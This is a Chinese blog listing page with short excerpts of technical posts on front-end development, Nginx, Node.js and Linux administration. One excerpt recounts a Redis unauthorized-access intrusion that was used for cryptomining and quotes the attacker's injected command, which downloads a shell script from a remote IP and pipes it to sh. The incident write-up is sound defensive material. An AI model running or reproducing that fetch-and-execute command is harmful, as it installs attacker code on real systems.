自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

  • 博客(26)
  • 资源 (8)
  • 收藏
  • 关注

原创 localStorage本地持久化、基本使用以及对无痕/隐私模式判断的疑问

0、基本介绍在HTML5中有一个localStorage特性,这个特性主要是用来作为本地存储来使用的。localStorage中一般浏览器支持的是5M大小,在不同的浏览器中localStorage会有所不同。基本特点:只能存储字符串类型的对象,如果使用JSON对象类型需要一些转换localStorage生命周期是永久,这意味着除非用户显示在浏览器提供的UI上清除localStorage信...

2019-12-31 17:37:44 2465

原创 Nginx防止网络爬虫的相关配置

通过Nginx参数:http_user_agent,将一些无用的爬虫禁止掉。配置方法如下:1、新建配置文件 deny.conf;内容如下:#禁止Scrapy|curl等工具的抓取if ($http_user_agent ~* (Scrapy|Curl|HttpClient)){ return 403;}#禁止指定UA及UA为空的访问if ($http_use...

2019-12-27 11:09:21 799

原创 NodeJS获取某个目录下的文件信息

首先引入fs模块var fs = require("fs");获取某个目录下的文件名:#t_str_path 代表目录路径 var t_r_filelist = fs.readdirSync(t_str_path);返回值为数组,元素为该目录下的文件名获取某个文件的文件信息:#t_str_path 代表文件路径var statInfo = fs.statSync(t_str_p...

2019-12-26 11:32:48 2119

原创 413 Request Entity Too Large(请求实体太大)

最近开发时遇到了上传失败的情况,提示:413 Request Entity Too Large(请求实体太大)因为上传通过代理服务器Nginx,因此可以 修改代理服务器Nginx 的相关配置来解决。作为反向代理服务器 , nginx最先收到client请求 ,一定会有一些限制 .所以要修改Nginx.conf 文件,client_max_body_size,这个值默认是1mclie...

2019-12-25 14:31:16 9733

原创 实现不同的域名映射到不同端口下的应用

1、需求场景手上有两个域名,一台服务器,服务器上跑了两个应用,占用两个不同的端口。假设两个域名为:domain1.comdomain2.com两个应用所占端口为8080、8090需要将两个域名分别指向这两个应用的端口2、实现思路域名经过DNS解析之后访问的是指定服务器IP的80端口,所以实现思路就是在域名服务进行DNS解析的时候,访问指定服务器的80端口,使用Nginx监听80...

2019-12-25 11:26:57 3291

原创 React+Electron封装并打包成桌面应用

0、react工程建立react工程建立见: 一个react工程的建立1、安装electron项目目录下:npm install -save electron2、main.js项目更目录下载添加main.js,基本内容:const { app, BrowserWindow, ipcMain} = require('electron');var net = requir...

2019-12-24 10:58:12 421

原创 一个react工程的建立

1、create-react-app# 安装 create-react-app 命令,如果已将安装请忽略npm install -g create-react-app# 创建 react项目create-react-app react-electron目录结构调整.|——config| |——webpack.dev.js| |——webpack.pro.js|——...

2019-12-24 10:47:51 107

原创 React16版本新增生命周期getDerivedStateFromProps替代componentWillReceiveProps

一直使用componentWillReceiveProps来进行当props发生变化时更新state,重新渲染。但是使用react16.3及以上版本时,提示componentWillReceiveProps将在17版本时被废弃。可以使用getDerivedStateFromProps来进行替代。于是研究了一下如何用getDerivedStateFromProps替代componentWillRec...

2019-12-20 11:46:21 1671

原创 通过react-router的Link进行页面跳转并传值的方法

使用React router定义路由时,我们可以给指定一个path,然后指定通配符可以携带参数到指定的path:首先定义路由:import { HashRouter,Route} from 'react-router-dom';class App extends React.Component { render() { return ( <HashRout...

2019-12-19 15:17:41 2089

原创 react网站进行版本更新时,用户浏览器端仍然缓存着旧版本问题

react打包后的文件css和js的名字都加了哈希值,所以新版本css、js和就旧版本的名字是不同的,不会有缓存问题。不过需要注意的是,把打包好的index.html放到服务器里去的时候,index.html在服务器端可能是有缓存的,这需要在服务器配置不让缓存index.html使用的是nginx服务器,因此通过对nginx配置,实现让index.html不缓存location = /ind...

2019-12-19 14:48:33 2784

原创 推荐一款仿桌面应用程序风格的React UI 框架

React Desktop专为 MacOS Sierra 和 Windows 10 提供的 React UI 组件如果使用 Electron 框架,那么你对跨平台桌面应用程序 UI 组件应该也会感兴趣,而 React-Desktop 绝对是一个不错的选择。你可以使用它轻松获取用于 Mac OS 和 Windows 10 系统上相应的 UI 组件。项目地址:http://reactdeskt...

2019-12-17 14:49:57 1686 1

原创 JS中Blob对象学习及一般使用方法

Blob可以满足一些场景下的特殊需求。Blob,Binary Large Object的缩写,代表二进制类型的大对象。在Web中,Blob类型的对象表示不可变的类似文件对象的原始数据,通俗点说,就是Blob对象是二进制数据,但它是类似文件对象的二进制数据,因此可以像操作File对象一样操作Blob对象,实际上,File继承自Blob。构造函数要从其他非blob对象和数据构造一个 Blob,请使...

2019-12-17 14:26:42 999

原创 推荐一款react懒加载组件

一次性大批量的加载资源的时候(比如批量图片的显示),会占用大量的内存,尤其是在一些低内存的设备上会造成卡顿的现象,所以就需要在必要的时候再进行资源的加载。懒加载就是在真正需要资源才加载资源,这样就可以节省内存,尽可能的减少卡顿现象的出现。推荐一款懒加载组件:react-lazyload安装npm install --save react-lazyload使用import React ...

2019-12-16 11:34:02 201

原创 JS ArrayBuffer 类型转换及拼接

1 转换1 字符串转为ArrayBuffer// 字符串转为ArrayBuffer对象,参数为字符串const str2ab = function(str) { var buf = new ArrayBuffer(str.length * 2); // 每个字符占用2个字节 var bufView = new Uint16Array(buf); for (var i = 0, s...

2019-12-13 16:31:23 15717 3

原创 JS读取本地上传的excel文件并解析(react)

文件读取 使用 new FileReader()可读取为array buff,二进制字符串等等另附分段读取文件参考链接:https://blog.csdn.net/liwang2016384/article/details/80899237三方包:https://github.com/SheetJS/js-xlsxreact示例代码:import React, { Component...

2019-12-13 16:18:08 2632 2

原创 使用ES6的数组简单操作——数组查重、数组去重、数组元素交换

数组查重ES6判断数组是否存在重复元素var array = [1,2,3,3,4,5];if(new Set(array).size !== array.length){ console.log("存在相同的元素");}else { console.log("不存在相同的元素")}注意,此方法不适合数组元素为对象或子数组的情况。数组去重var array = ...

2019-12-13 10:11:48 1890

原创 记一次陌生域名绑定自己网站的解决方法

今天在进入百度统计查看自己新搞的小网站(http://www.manyou.fun)时,看到入口页面中有个陌生域名,好奇打开进去一看,竟然就是自己的网站。第一反应觉得这是好事,人家域名绑定指向我的网站,这是给我的网站带来流量啊。但是仔细想想世上哪有这么好的事儿,这么做肯定有一些利益或目的吧。虽然我这就是一个自娱自乐的小站,一天访问量也就几十个IP,但心里总不是很爽,于是开始动手解决。网站是用的N...

2019-12-12 11:03:02 1640

原创 JS中的数组浅拷贝与深拷贝的方法和技巧

要拷贝一个数组,不能简单地将旧数组分配给一个新变量,它也是一个数组。如果这样做,它们将共享相同的引用,并且在更改一个变量之后,另一个变量也将受到更改的影响。那么如何正确的进行数组拷贝呢?介绍几种常用方法浅拷贝方法(也有网上认为是单层深拷贝)以下拷贝方法,适合元素为简单的数据结构,元素为复杂结构(比如对象)的时候,更改对象的值,另一个也会跟着变方法1:Array.slicevar arra...

2019-12-10 16:46:15 339

原创 Babel对ES2015中 Generator 的支持

Babel对 Generator 的支持最近新搭了一个react项目,用的ES2015,但是在运行生成器函数(Generator Function)的时候出现了报错,报错内容如下:Uncaught TypeError: Cannot read property 'mark' of undefined跟踪运行,查找报错位置:var _marked = /*#__PURE__*/regene...

2019-12-09 18:12:24 345

原创 使用pm2进程管理工具管理NodeJS应用

pm2是什么?官方的说法,pm2 是一个带有负载均衡功能的Node应用的进程管理器。为什么要用pm2?因为node.js 是单进程,进程被杀死后整个服务就挂了,所以需要进程管理工具。pm2可疑让你的独立代码利用全部的服务器上的所有 CPU,并保证进程永远都活着,0 秒的重载。环境保证有node.js 的环境安装npm install -g pm2如果nodejs安装的路径不在/u...

2019-12-06 14:50:54 246

转载 手动释放linux内存

可使用以下命令:echo 3 > /proc/sys/vm/drop_caches

2019-12-06 11:51:25 73

原创 Linux Shell脚本执行错误:bin/sh^M: bad interpreter: No such file or directory

问题bin/sh^M: bad interpreter: No such file or directory原因.sh脚本在windows系统下用记事本文件编写的。不同系统的编码格式引起的。解决方法修改.sh文件格式(1)使用vi工具vi xxx.sh(2)利用如下命令查看文件格式:set ff 或 :set fileformat可以看到如下信息fileformat=dos ...

2019-12-06 11:47:39 118

转载 Linux文件系统损坏与fsck修复

fsck 命令用于检查文件系统并尝试修复出现的错误。该命令的基本格式如下:[root@localhost ~]# fsck [选项] 分区设备文件名fsck命令常用选项及其功能:-a 自动修复文件系统,没有任何提示信息。-r 采取互动的修复模式,在修改文件前会进行询问,让用户得以确认并决定处理方式。-A(大写) 按照 /etc/fstab 配置文件的内容,检查文件内罗列的全部文件系统...

2019-12-06 11:15:21 823

转载 NodeJs的express服务器报413 payload too large错误

响应状态码 413 Payload Too Large表示请求主体的大小超过了服务器愿意或有能力处理的限度,服务器可能会(may)关闭连接以防止客户端继续发送该请求。node.js 的express服务器报 413 payload too large,解决办法:express 4.0后版本:var bodyParser = require('body-parser');app.use(b...

2019-12-06 10:57:39 2348 1

转载 CentOS6和CentOS7防火墙的关闭、开启

centos6.8 :查看iptables服务的当前状态service iptables status 1) 重启后生效 开启: chkconfig iptables on 关闭: chkconfig iptables off 2) 即时生效,重启后失效 开启: service iptables start 关闭: ser...

2019-12-06 10:46:15 96

原创 记一次因redis未授权访问漏洞被攻击进行挖矿

一、问题描述redis存储的业务数据被清空,且被注入未知的url下载链接:cur -fsSL http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh |sh百度该链接后,发现是这是一段带有恶意链接脚本,进行恶意shell脚本下载,从而实现远程代码攻击,并进行挖矿行为。二、分析分析参考链接:https://www.freebuf.com/c...

2019-12-05 16:43:56 907

μC_OS-Ⅱ中文资料大全

很好的μC_OS-Ⅱ资料,说明很详细。网上找到,希望对大伙有用。 第一章:范例 第 2章 实时系统概念 第 3章 内核结构 第4章 任务管理 第5 章 时间管理 ……

2011-06-07

ARM指令速查手册.rar

ARM指令速查手册 可以用作map sheet使用 欢迎交流和指正

2009-09-29

ADS1_2使用指南cn

第一课: 认识 CodeWarrior 第二课: 工程和目标文件的显示和定制 第三课: 编译 第四课: 链接 第五课: 调试 第六课: 定制 第七课: 库函数和 Microsoft Foundation Classes (MFC) 第八课: 总结

2009-09-29

经典的周立功ARM教程

周立功的ARM教程,经典!周立功《ARM嵌入式系统基础教程》多媒体教学课件。 第一章 嵌入式系统概述 第二章 嵌入式系统工程设计 第三章 ARM7体系结构 第四章 ARM7TDMI(-S)指令系统 第五章 LPC2000系列ARM硬件结构 第六章 接口技术与硬件设计 第七章 移植μC/OS-II到ARM7 第八章 嵌入式系统开发平台

2009-09-29

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除